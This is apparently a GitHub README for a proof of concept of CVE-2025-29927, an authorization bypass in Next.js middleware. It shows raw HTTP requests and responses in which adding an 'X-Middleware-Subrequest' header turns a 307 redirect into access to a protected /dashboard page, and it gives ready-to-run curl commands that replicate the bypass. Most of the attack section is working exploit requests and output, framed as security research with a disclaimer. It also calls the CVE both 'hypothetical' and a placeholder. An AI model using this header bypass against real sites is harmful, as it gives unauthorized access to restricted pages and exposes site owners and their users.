CVE-2025-29927 PoC — Authorization Bypass in Next.js Middleware

Description

Authorization Bypass in Next.js Middleware

Readme

# CVE-2025-29927-POC

## Introduction

This repository contains a Proof of Concept (PoC) for `CVE-2025-29927`, a hypothetical vulnerability demonstrating a flaw in middleware handling within a web application. The PoC illustrates how a specially crafted HTTP request can bypass redirection logic to access restricted content, such as a dashboard. This project is designed for educational and security research purposes only.

**Disclaimer**: This PoC is intended for use in controlled environments with explicit permission. Unauthorized testing against systems you do not own or have consent to test is illegal and unethical.

---

## Table of Contents

- [Prerequisites](#prerequisites)
- [Vulnerability Overview](#vulnerability-overview)
- [Proof of Concept Steps](#proof-of-concept-steps)
  - [Step 1: Initial Request (Unsuccessful)](#step-1-initial-request-unsuccessful)
  - [Step 2: Modified Request (Successful)](#step-2-modified-request-successful)
- [How to Replicate](#how-to-replicate)
- [References](#references)
- [Contributing](#contributing)
- [License](#license)

---

## Prerequisites

To follow this PoC, you’ll need:
- A target server (e.g., `abc.com`) running a vulnerable configuration (specific software/version TBD based on CVE details).
- An HTTP client tool like `curl` ([curl.se](https://curl.se/)), Burp Suite ([portswigger.net/burp](https://portswigger.net/burp)), or a custom script.
- Basic knowledge of HTTP protocols and headers (see [MDN HTTP Documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP)).

---

## Vulnerability Overview

`CVE-2025-29927` (placeholder; replace with official CVE details when available) appears to exploit a middleware misconfiguration or logic flaw. The PoC demonstrates that adding a custom header (`X-Middleware-Subrequest`) alters the server’s behavior, bypassing a redirection mechanism to access restricted content. This likely relates to how middleware (e.g., Nginx with Next.js) processes subrequests or validates headers.

For more on middleware vulnerabilities, refer to [OWASP Middleware Security](https://owasp.org/www-community/vulnerabilities/Middleware_Vulnerability).

---

## Proof of Concept Steps

The PoC consists of two steps: an initial unsuccessful request and a modified successful request. Each step includes the HTTP request, response, and detailed explanation.

### Step 1: Initial Request (Unsuccessful)

This step demonstrates the default server behavior when accessing the `/dashboard` endpoint without additional headers.

#### HTTP Request
```http
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
```

#### HTTP Response
```http
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive
```
![image](https://github.com/user-attachments/assets/54fec562-4f91-407b-8890-4920da878617)

#### Explanation
- **Request Details**:
  - `GET /dashboard`: Attempts to access the dashboard endpoint.
  - Standard headers like `User-Agent` and `Accept` mimic a typical browser request.
- **Response Details**:
  - `307 Temporary Redirect`: Indicates the server redirects the client, likely due to authentication, authorization, or routing logic (e.g., redirecting to a login page).
  - `Server: nginx/1.14.1`: Identifies the web server software.
- **Analysis**: The redirection suggests a protective mechanism preventing direct access to `/dashboard`. The lack of a `Location` header in this response (possibly omitted for brevity) implies the redirect destination is elsewhere.
- **Reference**: Learn more about HTTP status codes at [MDN HTTP Status](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status).

### Step 2: Modified Request (Successful)

This step introduces a custom header to bypass the redirection, successfully retrieving the dashboard content.

#### HTTP Request
```http
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
```

#### HTTP Response
```http
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174
```
![image](https://github.com/user-attachments/assets/757b8ff0-dddc-401f-a3d4-78547b38bb34)

#### Explanation
- **Request Details**:
  - `X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware`: A custom header added to the original request. The repeated `middleware` string may exploit a parsing or validation flaw in the middleware stack.
  - Other headers remain unchanged from Step 1.
- **Response Details**:
  - `200 OK`: Confirms successful access to the dashboard content.
  - `Content-Type: text/html; charset=utf-8`: Indicates an HTML response, likely the dashboard page.
  - `X-Powered-By: Next.js`: Suggests the application uses Next.js, a React framework that often relies on middleware for routing.
  - `Cache-Control`: Prevents caching, typical for dynamic, user-specific content.
  - `Content-Length: 30174`: Size of the response body in bytes.
- **Analysis**: The `X-Middleware-Subrequest` header likely tricks the middleware into treating the request as a legitimate subrequest, bypassing the redirect logic. This could indicate a vulnerability in how subrequests are validated or processed.
- **Reference**: Explore Next.js middleware at [Next.js Documentation](https://nextjs.org/docs/advanced-features/middleware).

---

## How to Replicate

Follow these steps to replicate the PoC using `curl`:

### Step 1: Send the Initial Request
```bash
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"
```
**Expected Output**: A `307 Temporary Redirect` response.

### Step 2: Send the Modified Request
```bash
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"
```
**Expected Output**: A `200 OK` response with the dashboard content.

**Note**: Replace `abc.com` with the actual target domain if testing in an authorized environment.

---

## References

- [CVE Details](https://cve.mitre.org/) - Official CVE database (update with specific CVE link when available).
- [MDN HTTP Documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP) - HTTP protocol basics.
- [Next.js Middleware](https://nextjs.org/docs/advanced-features/middleware) - Information on Next.js middleware behavior.
- [OWASP Middleware Security](https://owasp.org/www-community/vulnerabilities/Middleware_Vulnerability) - Middleware vulnerability overview.
- [curl Manual](https://curl.se/docs/manpage.html) - Guide to using `curl` for HTTP requests.

---

## License

This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.

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